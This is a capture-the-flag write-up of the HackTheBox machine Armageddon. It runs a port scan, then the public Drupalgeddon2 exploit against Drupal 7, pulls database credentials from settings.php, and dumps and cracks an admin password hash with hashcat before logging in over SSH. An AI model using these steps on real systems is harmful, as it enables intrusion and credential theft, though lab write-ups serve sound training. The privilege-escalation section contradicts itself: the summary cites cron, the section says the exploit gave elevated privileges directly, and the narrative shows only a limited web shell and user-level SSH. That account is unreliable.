Armageddon

Platform: HackTheBox | Difficulty: Easy | OS: CentOS Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Armageddon (CentOS, attack surface: Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) (80), OpenSSH 7.4 (protocol 2.0) (22)). Foothold via the vulnerable entry point; privilege escalation via cron. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC 10.10.10.233 --min-rate 1000

Enumeration highlights

• Detected OS: CentOS.
• Open services: http (80), ssh (22).
• Scan used: nmap -p- -sVC 10.10.10.233 --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sVC 10.10.10.233 --min-rate 1000       
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-20 04:49 PDT
Nmap scan report for 10.10.10.233
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82c6bbc7026a93bb7ccbdd9c30937934 (RSA)
|   256 3aca9530f312d7ca4505bcc7f116bbfc (ECDSA)
|_  256 7ad4b36879cf628a7d5a61e7060f5f33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to  Armageddon |  Armageddon
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.15 seconds

1. Based from the nmap results, the machine runs a web application and opens ssh login.

2. Noticed the webapp using Drupal 7 CMS.

DRUPAL 7 EXPLOIT DOCUMENTATION --> https://www.exploit-db.com/exploits/44449

1. Great! Based from the documentation and the chall's title. We seems in the correct approach.

2. Found a 2 github POCs we can use here.

3. I used the most starred github repo --> https://github.com/dreadlocked/Drupalgeddon2

4. Let's clone the repo and run the ruby solver.

5. Interesting! The shell we got is not fully interactive.

6. Did a small research about drupal. Turns out there should be a creds we can access at this path --> sites/default/settings.php

https://serverpilot.io/docs/where-to-find-your-database-credentials-in-drupal/

armageddon.htb>> ls sites/default/
default.settings.php
files
settings.php
armageddon.htb>> 

1. Found a cred we can use to login to mysql --> drupaluser:CQHEy@9M*m23gBVj

armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'show databases;'
Database
information_schema
drupal
mysql
performance_schema
armageddon.htb>>

1. Awesome! Let's see tables inside Drupal database.

armageddon.htb>> mysql -u drupaluser -pCQHEy@9M*m23gBVj -e 'use drupal; show tables;'
Tables_in_drupal
actions
authmap
batch
block
block_custom
block_node_type
block_role
blocked_ips
cache
cache_block
cache_bootstrap
cache_field
cache_filter
cache_form
cache_image
cache_menu
cache_page
cache_path
comment
date_format_locale
date_format_type
date_formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field_data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
field_revision_field_tags
file_managed
file_usage
filter
filter_format
flood
history
image_effects
image_styles
menu_custom
menu_links
menu_router
node
node_access
node_comment_statistics
node_revision
node_type
queue
rdf_mapping
registry
registry_file
role
role_permission
search_dataset
search_index
search_node_links
search_total
semaphore
sequences
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users
users_roles
variable
watchdog
armageddon.htb>>

1. Let's select all column from users table.

2. Found a username that should be our interest --> brucetherealadmin. But the password is hashed.

3. Hmm.. Let's try to crack it using hashcat.

brucetherealadmin:$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Grabbing module for drupal.

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ hashcat --help | grep Drupal
   7900 | Drupal7                                                    | Forums, CMS, E-Commerce

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.hashes

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ hashcat -m 7900 -a 0 hash.hashes /usr/share/wordlists/rockyou.txt --force -o result.txt

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ cat res*       
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

1. Turnsout the password is booboo. Let's run ssh to the remote server as brucetherealadmin.

2. We got shell as bruce!!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.